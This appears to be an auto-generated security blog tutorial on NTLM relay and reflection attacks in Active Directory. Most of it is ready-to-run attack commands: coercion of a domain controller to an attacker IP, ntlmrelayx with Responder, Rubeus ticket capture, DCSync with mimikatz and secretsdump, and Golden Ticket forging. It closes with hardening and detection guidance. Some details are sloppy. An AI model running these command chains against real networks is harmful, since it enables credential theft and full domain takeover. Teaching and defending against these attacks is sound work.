Listen to this Post
Introduction:
NTLM (NT LAN Manager) authentication, a legacy protocol still widely used in Windows Active Directory environments, is fundamentally vulnerable to relay and reflection attacks due to its inherent lack of mutual authentication and message integrity protection. Attackers can exploit these design flaws to coerce a system into authenticating against itself, effectively tricking the victim machine into granting them full SYSTEM-level privileges without ever knowing a single password – a technique known as NTLM Reflection.
Learning Objectives:
- Understand the core weaknesses of the NTLM challenge-response protocol that enable reflection and relay attacks.
- Execute a complete attack chain, from coercing authentication to privilege escalation and domain compromise.
- Implement effective detection, hardening, and mitigation strategies to protect Active Directory environments against NTLM abuse.
You Should Know
1. Understanding the NTLM Reflection Attack Chain
NTLM reflection is a specific case of an NTLM relay attack where the authentication attempt is relayed back to the same machine from which it originated. This attack is most potent when SMB signing is disabled, a common misconfiguration in many enterprise environments. Attackers don’t need to crack password hashes; they simply forward the authentication attempt to gain unauthorized access.
Step-by-step guide explaining what this does and how to use it:
Step 1: Enumerate SMB Signing Status
Before launching an attack, an attacker must identify targets with SMB signing disabled. From a Linux attack machine:
Using nmap to check SMB signing status across the network nmap -p445 --script smb-security-mode 192.168.1.0/24 Alternatively, use CrackMapExec/NetExec nxc smb 192.168.1.0/24 --gen-relay-list targets.txt
The output will indicate if message signing is disabled – these hosts are prime candidates for NTLM reflection attacks.
Step 2: Set Up the NTLM Relay Listener
From the attacker’s Kali Linux machine, start `ntlmrelayx.py` from the Impacket suite to listen for incoming authentication attempts:
Relay to a single target sudo python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -t smb://<TARGET_IP> -smb2support Relay to multiple targets from a file sudo python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -tf targets.txt -smb2support Start an interactive SMB shell (-i) for manual command execution sudo python3 ntlmrelayx.py -t smb://<TARGET_IP> -i -smb2support
The `-smb2support` flag enables support for both SMB1 and SMB2 protocols, while `-i` starts an interactive SMB client shell on a random port (e.g., nc 127.0.0.1 11000).
Step 3: Disable SMB and HTTP in Responder
Since `ntlmrelayx` binds to ports 445 (SMB) and 80 (HTTP), you must disable these services in Responder’s configuration to prevent conflicts. Edit `/etc/responder/Responder.conf` and set:
[bash] SMB = Off [bash] HTTP = Off
Then, in a separate terminal, start Responder to poison LLMNR, NBT-NS, and mDNS requests:
sudo responder -I eth0 -v
Running these two tools in tandem – Responder poisoning name resolution requests and `ntlmrelayx` capturing the resulting authentication attempts – is a classic and highly effective attack chain.
2. The Coercion Phase – Forcing Authentication
Before an attacker can relay or reflect authentication, they must first force a target system (such as a Domain Controller or a high-value server) to initiate an NTLM authentication attempt. This is achieved through coercion techniques that abuse legitimate Windows RPC interfaces.
Step-by-step guide explaining what this does and how to use it:
Step 1: Using PetitPotam to Coerce a Domain Controller
PetitPotam exploits the MS-EFSRPC (Encrypting File System Remote Protocol) interface. An unauthenticated attacker on the network can send a specially crafted RPC request to a Domain Controller, forcing it to authenticate back to an attacker-controlled machine.
Clone the PetitPotam tool git clone https://github.com/topotam/PetitPotam cd PetitPotam From a Linux machine, coerce the Domain Controller python3 PetitPotam.py -d <DOMAIN> -u <USER> -p <PASSWORD> <ATTACKER_IP> <TARGET_DC_IP> Example python3 PetitPotam.py -d cyberlab.local -u jdoe -p Password123 192.168.1.100 192.168.1.10
This command forces the Domain Controller (192.168.1.10) to authenticate via NTLM to the attacker’s machine (192.168.1.100), where `ntlmrelayx` is listening.
Step 2: Alternative Coercion Techniques
If PetitPotam is patched, attackers have a toolbox of alternative coercion primitives:
– PrinterBug (MS-RPRN): Abuses the MS-RPRN RPC interface to coerce authentication via the Print Spooler service.
– DFSCoerce: Forces authentication by abusing the Distributed File System (DFS) protocol.
– ShadowCoerce: A versatile coercion tool that works against multiple MS-RPC endpoints.
From a Windows attack host, you can use the `SpoolSample.exe` tool:
SpoolSample.exe <TARGET_DC> <ATTACKER_IP>
These commands all serve the same purpose: force a privileged machine (especially the Domain Controller) to send an NTLM authentication request to the attacker, setting the stage for relay.
- The NTLM Relay – Capturing and Forwarding Authentication
Once the target has been coerced into authenticating, the attacker’s `ntlmrelayx` listener captures the NTLM handshake. The tool then initiates a new authentication session to the target service (e.g., SMB, LDAP) using the captured credentials, effectively “relaying” the victim’s identity.
Step-by-step guide explaining what this does and how to use it:
Step 1: Configure ntlmrelayx for Different Protocols
`ntlmrelayx` is highly versatile and can relay authentication attempts to various services. The most common targets include SMB, HTTP, LDAP, and MSSQL.
Relay to LDAP for domain object manipulation sudo ntlmrelayx.py -t ldap://<DOMAIN_CONTROLLER> --escalate-user <TARGET_USER> Relay to HTTP (e.g., for Active Directory Certificate Services - AD CS) sudo ntlmrelayx.py -t http://<CA_SERVER>/certsrv/ -adcs Relay to SMB for interactive command execution or SAM dumping sudo ntlmrelayx.py -t smb://<TARGET_IP> -smb2support -i
The `–escalate-user` flag manipulates LDAP attributes to grant administrative privileges to a controlled account. The `-adcs` flag attacks Active Directory Certificate Services, allowing the attacker to request a certificate that authenticates as the Domain Controller.
Step 2: Execute the Full Attack Chain
With `Responder` poisoning and `ntlmrelayx` listening, trigger the coercion. The attacker might send a malicious file (e.g., via Outlook, a USB drop, or a web download) or simply wait for a user to mistype a UNC path (e.g., \\attacker\share) in Windows Explorer.
When the victim authenticates:
1. `Responder` poisons the name resolution, pointing the victim to the attacker.
2. The victim sends an NTLM authentication attempt to ntlmrelayx.
3. `ntlmrelayx` captures this and relays it to the target server (e.g., a Domain Controller).
4. If SMB signing is disabled, the relay succeeds, and `ntlmrelayx` executes a dump of the target’s local SAM database or executes arbitrary commands.
After a successful relay, ntlmrelayx outputs the dumped hashes [+] Dumping local SAM hashes from target: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- The Reflection Attack – Making the System Authenticate to Itself
A pure NTLM reflection attack occurs when the relay target is the same as the authentication source. Historically, this allowed attackers on a machine to elevate privileges by reflecting a service’s authentication back to itself. For example, an attacker might induce the Local Security Authority Subsystem Service (LSASS) to authenticate to a local SMB server, which relays that authentication back to LSASS, resulting in privilege escalation.
Step-by-step guide explaining what this does and how to use it:
Step 1: Identify Vulnerable Reflection Scenarios
NTLM reflection attacks are most dangerous when combined with unconstrained delegation. If an attacker compromises a system with Unconstrained Delegation enabled, they can coerce the Domain Controller to authenticate to that system, reflecting the DC’s TGT (Ticket Granting Ticket) back to the compromised host.
Step 2: Execute the Reflection Attack
From a compromised host (e.g., WKS-01) with unconstrained delegation:
Use Rubeus to monitor for incoming Kerberos tickets Rubeus.exe monitor /interval:5 In another window, coerce the Domain Controller to authenticate to WKS-01 SpoolSample.exe dc.cyberlab.local wks-01.cyberlab.local
The Domain Controller will authenticate to WKS-01. Because unconstrained delegation is enabled, the DC’s TGT is stored in memory on WKS-01. `Rubeus` captures this TGT, which the attacker can then inject into their own session to impersonate the Domain Controller.
Inject the captured TGT into the current session Rubeus.exe ptt /ticket:<BASE64_TICKET> DCSync attack to dump all domain hashes mimikatz.exe "lsadump::dcsync /domain:cyberlab.local /user:krbtgt" exit
At this point, the attacker has achieved full domain compromise, capable of creating Golden Tickets, dumping all password hashes, and maintaining persistent access.
5. Post-Exploitation and Domain Escalation
With SYSTEM access on a delegated host and the Domain Controller’s TGT, the attacker escalates to full domain administrator privileges. The most common and devastating post-exploitation technique is the DCSync attack, which allows an attacker to impersonate a Domain Controller and request password hashes for any user in the domain.
Step-by-step guide explaining what this does and how to use it:
Step 1: Perform a DCSync Attack from Linux
After relaying authentication to a Domain Controller, `ntlmrelayx` often drops the attacker into an interactive shell or executes a SAM dump. From there, or after injecting a captured TGT, use Impacket’s secretsdump.py:
Using compromised credentials (hash or plaintext) secretsdump.py 'domain/user:password@<DOMAIN_CONTROLLER>' Using a captured NT hash (pass-the-hash) secretsdump.py -hashes :<NT_HASH> 'domain/user@<DOMAIN_CONTROLLER>' Example secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 cyberlab.local/[email protected]
This command will dump all local account hashes from the Domain Controller’s SAM database and the NTDS.dit file, including the KRBTGT account hash, which is used to forge Kerberos tickets.
Step 2: Establish Persistence with a Golden Ticket
With the KRBTGT hash, an attacker can forge a Golden Ticket, granting them unrestricted access to any resource in the domain for a specified time period.
Using Impacket's ticketer.py ticketer.py -nthash <KRBTGT_HASH> -domain-sid <DOMAIN_SID> -domain cyberlab.local administrator Inject the ticket on a Windows host mimikatz.exe "kerberos::ptt administrator.ccache" exit
This forged ticket can be used with psexec, wmiexec, or other Impacket tools to access any machine in the domain without ever needing a password.
Access any machine using the Golden Ticket psexec.py -k cyberlab.local/administrator@<TARGET_IP> -no-pass
The `-k` flag tells the tool to use Kerberos authentication, and `-no-pass` indicates that no password is required because the ticket is being used.
6. Detection and Hardening Mitigations
Defending against NTLM reflection and relay requires a multi-layered approach centered on eliminating unnecessary NTLM usage, enforcing signing, and actively monitoring for coercion attempts.
Step-by-step guide explaining what this does and how to use it:
Step 1: Enforce SMB Signing via Group Policy
SMB signing is the single most effective mitigation against NTLM relay attacks. It ensures that each SMB packet is digitally signed, preventing an attacker from modifying or relaying the authentication handshake.
To enforce SMB signing across all domain-joined Windows machines:
1. Open Group Policy Management Console (GPMC).
- Create a new GPO or edit an existing one linked to the domain or relevant OUs.
- Navigate to:
Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options.
4. Set the following policies to Enabled:
– `Microsoft network client: Digitally sign communications (always)`
– `Microsoft network server: Digitally sign communications (always)`
– `Microsoft network client: Digitally sign communications (if server agrees)`
– `Microsoft network server: Digitally sign communications (if client agrees)`
PowerShell command to verify SMB signing status on a remote machine Get-SmbServerConfiguration | Select EnableSMB1Protocol, EnableSMB2Protocol, RequireSecuritySignature
Registry key to enforce SMB signing on a single machine reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" /v RequireSecuritySignature /t REG_DWORD /d 1 /f reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v RequireSecuritySignature /t REG_DWORD /d 1 /f
Enforcing SMB signing adds overhead to network traffic but is critical for security in modern environments.
Step 2: Disable NTLM and LLMNR/NBT-NS
The only complete solution is to disable NTLM entirely and rely solely on Kerberos authentication, which is not vulnerable to relay attacks.
To disable NTLM via Group Policy:
- Navigate to: `Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options`
– Set `Network security: Restrict NTLM: Incoming NTLM traffic` toDeny all accounts. - Set `Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers` to
Deny all.
To disable LLMNR and NBT-NS (NetBIOS), which are poisoned by Responder:
– Navigate to: `Computer Configuration → Policies → Administrative Templates → Network → DNS Client`
– Enable Turn off multicast name resolution (disables LLMNR).
– For NBT-NS, disable it on each network adapter: Network Settings → TCP/IPv4 → Advanced → WINS → Disable NetBIOS over TCP/IP.
Step 3: Implement Active Directory Hardening
Several other hardening measures significantly reduce the attack surface:
– Disable Unconstrained Delegation: Audit all computer objects in Active Directory for unconstrained delegation (userAccountControl attribute contains ADS_UF_TRUSTED_FOR_DELEGATION). Convert systems to constrained delegation or resource-based constrained delegation (RBCD) where possible.
– Enable LDAP Signing & Channel Binding: This prevents NTLM relay attacks against LDAP services.
Enforce LDAP signing on a Domain Controller reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v LDAPServerIntegrity /t REG_DWORD /d 2 /f
– Deploy Microsoft Extended Protection for Authentication (EPA): EPA adds channel binding information to NTLM messages, making relay attacks significantly more difficult.
Step 4: Detection and Monitoring
Blue teams must actively monitor for coercion and relay attempts by analyzing Windows Security Event Logs.
– Event ID 4624 (An account was successfully logged on): Correlate with source network addresses to identify unexpected authentications.
– Event ID 4776 (Domain Controller attempted to validate credentials): Look for spikes in NTLM authentication requests from unusual sources.
– Event ID 5145 (A network share object was checked to see if client can be granted desired access): Monitor for suspicious SMB connections.
– Event ID 4768 (A Kerberos authentication ticket was requested): Detect anomolous TGT requests, especially after coercion attempts.
Deploy Network Detection and Response (NDR) tools to identify NTLM authentication attempts originating from non-domain-joined IP addresses or to unexpected ports. Use Sysmon to monitor `lsass.exe` for unusual network connections, as coercion techniques force LSASS to initiate outbound connections.
What Undercode Say
- Key Takeaway 1: NTLM is a legacy protocol with inherent security design flaws. In any environment where it remains enabled, it poses a significant risk of credential relay and privilege escalation. This is not a vulnerability to be patched at the code level; it is a fundamental weakness of the protocol itself.
- Key Takeaway 2: The most critical mitigations are SMB signing enforcement and phasing out NTLM in favor of Kerberos. Organizations that fail to implement these measures remain vulnerable to these ancient yet extremely effective attacks. Furthermore, unconstrained delegation should be treated as a high-risk misconfiguration and eliminated wherever possible.
Prediction
As NTLM continues to be a persistent legacy protocol in countless enterprises, we will see an increase in supply-chain style attacks that abuse NTLM reflection and relay in novel ways. Recent bypasses for SMB signing and new coercion primitives against cloud-joined and hybrid identities indicate this will remain a primary attack vector for years. Microsoft’s push for “NTLM zero” and default hardening in newer Windows versions will accelerate, but the long tail of legacy systems will ensure that NTLM reflection attacks remain a relevant and devastating technique for red teams and threat actors well into the next decade.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Cybersecurity Activedirectory – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
